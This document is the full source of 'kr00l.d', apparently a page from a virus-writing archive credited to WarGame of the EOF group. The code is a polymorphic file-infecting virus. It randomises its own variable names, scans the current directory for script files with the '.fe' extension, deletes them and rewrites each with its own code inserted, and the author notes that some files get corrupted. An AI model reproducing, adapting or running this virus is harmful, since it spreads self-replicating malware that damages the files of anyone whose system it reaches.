|| Author: WarGame/EOF || Back to sources || View project folder ||
eval('uses "filesystem","sys","regexp","math","string","date";function Is_Infected(string flllll) { string stllll = File.open(flllll).toString(); if(String.index(stllll,"kr00l.d by [WarGame,#eof]") != -1) {return 1;} else {return 0;}} function llllll() {return 65; } function rndddd(number sd) { Math.srand(sd); return String.sprintf("%c%c%c%c%c%c",((Math.rand()%10)+llllll()),((Math.rand()%20)+llllll()),((Math.rand()%11)+llllll()),((Math.rand()%9)+llllll()),((Math.rand()%14)+llllll()),((Math.rand()%16)+llllll()));} string signature = "kr00l.d by [WarGame,#eof]";string fppppp = "";string my_code = "";object prrrrr =  File.open(Sys.scriptName());string origgg = "";object dirrrr = new Directory("."); while(String.index((my_code = prrrrr.readln()),signature) == -1) {} if(1) { my_code = Regexp.replaceAll("signature",my_code,rndddd(Date.now()+1989)); my_code = Regexp.replaceAll("Is_Infected",my_code,rndddd(Date.now()+1975)); my_code = Regexp.replaceAll("my_code",my_code,rndddd(Date.now()+2006)); my_code = Regexp.replaceAll("llllll",my_code,rndddd(Date.now()+1900)); my_code = Regexp.replaceAll("flllll",my_code,rndddd(Date.now()+1930)); my_code = Regexp.replaceAll("stllll",my_code,rndddd(Date.now()+1910)); my_code = Regexp.replaceAll("dirrrr",my_code,rndddd(Date.now()+1920)); my_code = Regexp.replaceAll("fppppp",my_code,rndddd(Date.now()+1950)); my_code = Regexp.replaceAll("origgg",my_code,rndddd(Date.now()+1970)); my_code = Regexp.replaceAll("prrrrr",my_code,rndddd(Date.now()+1890)); my_code = Regexp.replaceAll("rndddd",my_code,rndddd(Date.now()+1800)); } while((fppppp = dirrrr.getEntry()) != "") { if(String.index(Sys.scriptName(),fppppp) == -1 && String.index(fppppp,".fe") != -1) {  if(!Is_Infected(fppppp)) { origgg = File.open(fppppp).toString(); File.remove(fppppp); origgg = Regexp.replace("}",origgg,"\n" + my_code+"}\n"); File.create(fppppp).writeln(origgg); } } }');






//  Evolution of kr00l.c with silly epo and a better poly ... its name is kr00l.d ... by [WarGame,#eof]
//  Note: Some files get corrupted or cannot be infected ( but this happens rarely )